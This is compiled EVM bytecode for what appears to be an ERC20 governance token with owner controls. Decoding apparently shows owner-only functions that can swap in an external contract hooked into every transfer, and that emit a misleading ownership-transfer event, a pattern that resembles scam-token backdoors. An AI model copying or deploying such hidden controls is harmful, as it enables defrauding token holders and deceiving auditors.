379a0000000000000000000000000000000000000000000000000000000008152600401620002d590620005aa565b60405180910390fd5b620002fa816004546200040860201b620018ea1790919060201c565b6004819055506200035981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200040860201b620018ea1790919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003fc9190620005cc565b60405180910390a35050565b6000808284620004199190620005fa565b90508381101562000461576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004589062000588565b60405180910390fd5b8091505092915050565b828054620004799062000661565b90600052602060002090601f0160209004810192826200049d5760008555620004e9565b82601f10620004b857805160ff1916838001178555620004e9565b82800160010185558215620004e9579182015b82811115620004e8578251825591602001919060010190620004cb565b5b509050620004f891906200050a565b5090565b61020a80620041e583390190565b5b80821115620005255760008160009055506001016200050b565b5090565b600062000538601b83620005e9565b91506200054582620006f5565b602082019050919050565b60006200055f601f83620005e9565b91506200056c826200071e565b602082019050919050565b620005828162000657565b82525050565b60006020820190508181036000830152620005a38162000529565b9050919050565b60006020820190508181036000830152620005c58162000550565b9050919050565b6000602082019050620005e3600083018462000577565b92915050565b600082825260208201905092915050565b6000620006078262000657565b9150620006148362000657565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200064c576200064b62000697565b5b828201905092915050565b6000819050919050565b600060028204905060018216806200067a57607f821691505b60208210811415620006915762000690620006c6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b613a8e80620007576000396000f3fe608060405234801561001057600080fd5b50600436106101c45760003560e01c80638da5cb5b116100f9578063c3cda52011610097578063dd62ed3e11610071578063dd62ed3e1461052f578063e7a324dc1461055f578063f1127ed81461057d578063f2fde38b146105ae576101c4565b8063c3cda520146104eb578063c44e370214610507578063c64cb5af14610525576101c4565b8063a457c2d7116100d3578063a457c2d71461043f578063a9059cbb1461046f578063b4b5ea571461049f578063b792d03f146104cf576101c4565b80638da5cb5b146103e757806395d89b41146104055780639755409e14610423576101c4565b8063587cde1e1161016657806370a082311161014057806370a082311461034d578063715018a61461037d578063782d6fe1146103875780637ecebe00146103b7576101c4565b8063587cde1e146102d15780635c19a95c146103015780636fcfff451461031d576101c4565b806320606b70116101a257806320606b701461023557806323b872dd14610253578063313ce5671461028357806339509351146102a1576101c4565b806306fdde03146101c9578063095ea7b3146101e757806318160ddd14610217575b600080fd5b6101d16105ca565b6040516101de9190612e78565b60405180910390f35b61020160048036038101906101fc9190612955565b61065c565b60405161020e9190612d73565b60405180910390f35b61021f61067a565b60405161022c919061303a565b60405180910390f35b61023d610684565b60405161024a9190612d8e565b60405180910390f35b61026d600480360381019061026891906128a3565b6106a8565b60405161027a9190612d73565b60405180910390f35b61028b610781565b60405161029891906130c2565b60405180910390f35b6102bb60048036038101906102b69190612955565b610798565b6040516102c89190612d73565b60405180910390f35b6102eb60048036038101906102e6919061283e565b61084b565b6040516102f89190612d21565b60405180910390f35b61031b6004803603810190610316919061283e565b6108b4565b005b6103376004803603810190610332919061283e565b6108c1565b604051610344919061307e565b60405180910390f35b6103676004803603810190610362919061283e565b6108e4565b604051610374919061303a565b60405180910390f35b61038561092d565b005b6103a1600480360381019061039c9190612955565b610a67565b6040516103ae919061303a565b60405180910390f35b6103d160048036038101906103cc919061283e565b610e3e565b6040516103de919061303a565b60405180910390f35b6103ef610e56565b6040516103fc9190612d21565b60405180910390f35b61040d610e7f565b60405161041a9190612e78565b60405180910390f35b61043d600480360381019061043891906128f2565b610f11565b005b61045960048036038101906104549190612955565b6110c2565b6040516104669190612d73565b60405180910390f35b61048960048036038101906104849190612955565b61118f565b6040516104969190612d73565b60405180910390f35b6104b960048036038101906104b4919061283e565b6111ad565b6040516104c6919061303a565b60405180910390f35b6104e960048036038101906104e4919061283e565b61128c565b005b61050560048036038101906105009190612991565b611305565b005b61050f61159a565b60405161051c9190612d73565b60405180910390f35b61052d6115ad565b005b61054960048036038101906105449190612867565b611655565b604051610556919061303a565b60405180910390f35b6105676116dc565b6040516105749190612d8e565b60405180910390f35b61059760048036038101906105929190612a1a565b611700565b6040516105a5929190613099565b60405180910390f35b6105c860048036038101906105c3919061283e565b611741565b005b6060600580546105d9906132cf565b80601f0160208091040260200160405190810160405280929190818152602001828054610605906132cf565b80156106525780601f1061062757610100808354040283529160200191610652565b820191906000526020600020905b81548152906001019060200180831161063557829003601f168201915b5050505050905090565b6000610670610669611948565b8484611950565b6001905092915050565b6000600454905090565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b60006106b5848484611b1b565b610776846106c1611948565b610771856040518060600160405280602881526020016139de60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610727611948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf49092919063ffffffff16565b611950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006108416107a5611948565b8461083c85600260006107b6611948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ea90919063ffffffff16565b611950565b6001905092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6108be3382611c52565b50565b600a6020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610935611948565b73ffffffffffffffffffffffffffffffffffffffff16610953610e56565b73ffffffffffffffffffffffffffffffffffffffff16146109a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a090612fba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000438210610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa290612e9a565b60405180910390fd5b6000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610b18576000915050610e38565b82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610b6791906131f9565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610c1457600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610bee91906131f9565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610e38565b82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610c95576000915050610e38565b600080600183610ca591906131f9565b90505b8163ffffffff168163ffffffff161115610dd257600060028383610ccc91906131f9565b610cd69190613194565b82610ce191906131f9565b90506000600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff161415610da157806020015195505050505050610e38565b86816000015163ffffffff161015610dbb57819350610dcb565b600182610dc891906131f9565b92505b5050610ca8565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b600b6020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610e8e906132cf565b80601f0160208091040260200160405190810160405280929190818152602001828054610eba906132cf565b8015610f075780601f10610edc57610100808354040283529160200191610f07565b820191906000526020600020905b815481529060010190602001808311610eea57829003601f168201915b5050505050905090565b610f19611948565b73ffffffffffffffffffffffffffffffffffffffff16610f37610e56565b73ffffffffffffffffffffffffffffffffffffffff1614610f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8490612fba565b60405180910390fd5b60011515600360009054906101000a900460ff16151514156110bc576000821115610fc057610fbb81611dc3565b61102a565b604051610fcc906127c8565b604051809103906000f080158015610fe8573d6000803e3d6000fd5b50600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28585856040518463ffffffff1660e01b815260040161108993929190612d3c565b600060405180830381600087803b1580156110a357600080fd5b505af11580156110b7573d6000803e3d6000fd5b505050505b50505050565b60006111856110cf611948565b8461118085604051806060016040528060258152602001613a3460259139600260006110f9611948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf49092919063ffffffff16565b611950565b6001905092915050565b60006111a361119c611948565b8484611b1b565b6001905092915050565b600080600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611611217576000611284565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018361126591906131f9565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b8073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001600060146101000a81548160ff02191690831515021790555050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8666113306105ca565b8051906020012061133f611e15565b306040516020016113539493929190612dee565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf8888886040516020016113a49493929190612da9565b604051602081830303815290604052805190602001209050600082826040516020016113d1929190612cea565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161140e9493929190612e33565b6020604051602081039080840390855afa158015611430573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156114ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a390612f3a565b60405180910390fd5b600b60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906114fc90613301565b919050558914611541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153890612fda565b60405180910390fd5b87421115611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90612f7a565b60405180910390fd5b61158e818b611c52565b50505050505050505050565b600360009054906101000a900460ff1681565b6115b5611948565b73ffffffffffffffffffffffffffffffffffffffff166115d3610e56565b73ffffffffffffffffffffffffffffffffffffffff1614611629576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162090612fba565b60405180910390fd5b600360009054906101000a900460ff1615600360006101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6009602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b611749611948565b73ffffffffffffffffffffffffffffffffffffffff16611767610e56565b73ffffffffffffffffffffffffffffffffffffffff16146117bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b490612fba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561182d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182490612eda565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082846118f99190613104565b90508381101561193e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193590612f1a565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b79061301a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2790612efa565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b0e919061303a565b60405180910390a3505050565b611b26838383611e22565b611bef600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836120bb565b505050565b6000838311158290611c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c339190612e78565b60405180910390fd5b508284611c4991906131c5565b90509392505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000611cc1846108e4565b905082600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611dbd8284836120bb565b50505050565b611dcb61236a565b15611e125780600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000804690508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8990612ffa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef990612eba565b60405180910390fd5b611f0d838383612380565b611f79816040518060600160405280602681526020016139b860269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf49092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061200e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ea90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120ae919061303a565b60405180910390a3505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156120f75750600081115b1561236557600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612230576000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff161161219a576000612207565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001846121e891906131f9565b63ffffffff1663ffffffff168152602001908152602001600020600101545b9050600061221e848361241690919063ffffffff16565b905061222c8684848461246f565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612364576000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116122ce57600061233b565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018461231c91906131f9565b63ffffffff1663ffffffff168152602001908152602001600020600101545b9050600061235284836118ea90919063ffffffff16565b90506123608584848461246f565b5050505b5b505050565b60008060149054906101000a900460ff16905090565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28484846040518463ffffffff1660e01b81526004016123df93929190612d3c565b600060405180830381600087803b1580156123f957600080fd5b505af115801561240d573d6000803e3d6000fd5b50505050505050565b60008282111561245b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245290612f5a565b60405180910390fd5b818361246791906131c5565b905092915050565b6000612493436040518060600160405280602e8152602001613a06602e9139612772565b905060008463ffffffff1611801561253157508063ffffffff16600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001876124fb91906131f9565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b156125ab5781600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018761258591906131f9565b63ffffffff1663ffffffff1681526020019081526020016000206001018190555061271b565b60405180604001604052808263ffffffff16815260200183815250600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff1660018561266a919061315a565b63ffffffff16116126b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a790612f9a565b60405180910390fd5b6001846126bd919061315a565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612763929190613055565b60405180910390a25050505050565b6000640100000000831082906127be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b59190612e78565b60405180910390fd5b5082905092915050565b61020a806137ae83390190565b6000813590506127e48161373a565b92915050565b6000813590506127f981613751565b92915050565b60008135905061280e81613768565b92915050565b6000813590506128238161377f565b92915050565b60008135905061283881613796565b92915050565b60006020828403121561285057600080fd5b600061285e848285016127d5565b91505092915050565b6000806040838503121561287a57600080fd5b6000612888858286016127d5565b9250506020612899858286016127d5565b9150509250929050565b6000806000606084860312156128b857600080fd5b60006128c6868287016127d5565b93505060206128d7868287016127d5565b92505060406128e8868287016127ff565b9150509250925092565b6000806000806080858703121561290857600080fd5b6000612916878288016127d5565b9450506020612927878288016127d5565b9350506040612938878288016127ff565b9250506060612949878288016127d5565b91505092959194509250565b6000806040838503121561296857600080fd5b6000612976858286016127d5565b9250506020612987858286016127ff565b9150509250929050565b60008060008060008060c087890312156129aa57600080fd5b60006129b889828a016127d5565b96505060206129c989828a016127ff565b95505060406129da89828a016127ff565b94505060606129eb89828a01612829565b93505060806129fc89828a016127ea565b92505060a0612a0d89828a016127ea565b9150509295509295509295565b60008060408385031215612a2d57600080fd5b6000612a3b858286016127d5565b9250506020612a4c85828601612814565b9150509250929050565b612a5f8161322d565b82525050565b612a6e8161323f565b82525050565b612a7d8161324b565b82525050565b612a94612a8f8261324b565b61334a565b82525050565b6000612aa5826130dd565b612aaf81856130e8565b9350612abf81856020860161329c565b612ac8816133e1565b840191505092915050565b6000612ae06021836130e8565b9150612aeb826133f2565b604082019050919050565b6000612b036023836130e8565b9150612b0e82613441565b604082019050919050565b6000612b266026836130e8565b9150612b3182613490565b604082019050919050565b6000612b496022836130e8565b9150612b54826134df565b604082019050919050565b6000612b6c6002836130f9565b9150612b778261352e565b600282019050919050565b6000612b8f601b836130e8565b9150612b9a82613557565b602082019050919050565b6000612bb26020836130e8565b9150612bbd82613580565b602082019050919050565b6000612bd5601e836130e8565b9150612be0826135a9565b602082019050919050565b6000612bf86020836130e8565b9150612c03826135d2565b602082019050919050565b6000612c1b6030836130e8565b9150612c26826135fb565b604082019050919050565b6000612c3e6020836130e8565b9150612c498261364a565b602082019050919050565b6000612c61601c836130e8565b9150612c6c82613673565b602082019050919050565b6000612c846025836130e8565b9150612c8f8261369c565b604082019050919050565b6000612ca76024836130e8565b9150612cb2826136eb565b604082019050919050565b612cc681613275565b82525050565b612cd58161327f565b82525050565b612ce48161328f565b82525050565b6000612cf582612b5f565b9150612d018285612a83565b602082019150612d118284612a83565b6020820191508190509392505050565b6000602082019050612d366000830184612a56565b92915050565b6000606082019050612d516000830186612a56565b612d5e6020830185612a56565b612d6b6040830184612cbd565b949350505050565b6000602082019050612d886000830184612a65565b92915050565b6000602082019050612da36000830184612a74565b92915050565b6000608082019050612dbe6000830187612a74565b612dcb6020830186612a56565b612dd86040830185612cbd565b612de56060830184612cbd565b95945050505050565b6000608082019050612e036000830187612a74565b612e106020830186612a74565b612e1d6040830185612cbd565b612e2a6060830184612a56565b95945050505050565b6000608082019050612e486000830187612a74565b612e556020830186612cdb565b612e626040830185612a74565b612e6f6060830184612a74565b95945050505050565b60006020820190508181036000830152612e928184612a9a565b905092915050565b60006020820190508181036000830152612eb381612ad3565b9050919050565b60006020820190508181036000830152612ed381612af6565b9050919050565b60006020820190508181036000830152612ef381612b19565b9050919050565b60006020820190508181036000830152612f1381612b3c565b9050919050565b60006020820190508181036000830152612f3381612b82565b9050919050565b60006020820190508181036000830152612f5381612ba5565b9050919050565b60006020820190508181036000830152612f7381612bc8565b9050919050565b60006020820190508181036000830152612f9381612beb565b9050919050565b60006020820190508181036000830152612fb381612c0e565b9050919050565b60006020820190508181036000830152612fd381612c31565b9050919050565b60006020820190508181036000830152612ff381612c54565b9050919050565b6000602082019050818103600083015261301381612c77565b9050919050565b6000602082019050818103600083015261303381612c9a565b9050919050565b600060208201905061304f6000830184612cbd565b92915050565b600060408201905061306a6000830185612cbd565b6130776020830184612cbd565b9392505050565b60006020820190506130936000830184612ccc565b92915050565b60006040820190506130ae6000830185612ccc565b6130bb6020830184612cbd565b9392505050565b60006020820190506130d76000830184612cdb565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600061310f82613275565b915061311a83613275565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314f5761314e613354565b5b828201905092915050565b60006131658261327f565b91506131708361327f565b92508263ffffffff0382111561318957613188613354565b5b828201905092915050565b600061319f8261327f565b91506131aa8361327f565b9250826131ba576131b9613383565b5b828204905092915050565b60006131d082613275565b91506131db83613275565b9250828210156131ee576131ed613354565b5b828203905092915050565b60006132048261327f565b915061320f8361327f565b92508282101561322257613221613354565b5b828203905092915050565b600061323882613255565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60005b838110156132ba57808201518184015260208101905061329f565b838111156132c9576000848401525b50505050565b600060028204905060018216806132e757607f821691505b602082108114156132fb576132fa6133b2565b5b50919050565b600061330c82613275565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561333f5761333e613354565b5b600182019050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f6765745072696f72566f7465733a206e6f74207965742064657465726d696e6560008201527f6400000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f64656c656761746542795369673a20696e76616c6964207369676e6174757265600082015250565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000600082015250565b7f64656c656761746542795369673a207369676e61747572652065787069726564600082015250565b7f5f7772697465436865636b706f696e743a206e657720636865636b706f696e7460008201527f2065786365656473203332206269747300000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f64656c656761746542795369673a20696e76616c6964206e6f6e636500000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6137438161322d565b811461374e57600080fd5b50565b61375a8161324b565b811461376557600080fd5b50565b61377181613275565b811461377c57600080fd5b50565b6137888161327f565b811461379357600080fd5b50565b61379f8161328f565b81146137aa57600080fd5b5056fe608060405234801561001057600080fd5b506101ea806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80636bf92ea214610030575b600080fd5b61004a600480360381019061004591906100fb565b61004c565b005b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000813590506100e081610186565b92915050565b6000813590506100f58161019d565b92915050565b60008060006060848603121561011057600080fd5b600061011e868287016100d1565b935050602061012f868287016100d1565b9250506040610140868287016100e6565b9150509250925092565b60006101558261015c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b61018f8161014a565b811461019a57600080fd5b50565b6101a68161017c565b81146101b157600080fd5b5056fea2646970667358221220e32c3b9e25196b65647682f9a67ef2503547fd579b44605c642cbc82280b607f64736f6c6343000801003345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e0c976c1891d9df0e3b39e3419e7eace19e85ec5431bcce250ec7bdceb7d65e564736f6c63430008010033608060405234801561001057600080fd5b506101ea806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80636bf92ea214610030575b600080fd5b61004a600480360381019061004591906100fb565b61004c565b005b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000813590506100e081610186565b92915050565b6000813590506100f58161019d565b92915050565b60008060006060848603121561011057600080fd5b600061011e868287016100d1565b935050602061012f868287016100d1565b9250506040610140868287016100e6565b9150509250925092565b60006101558261015c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b61018f8161014a565b811461019a57600080fd5b50565b6101a68161017c565b81146101b157600080fd5b5056fea2646970667358221220e32c3b9e25196b65647682f9a67ef2503547fd579b44605c642cbc82280b607f64736f6c63430008010033
Deployed Bytecode
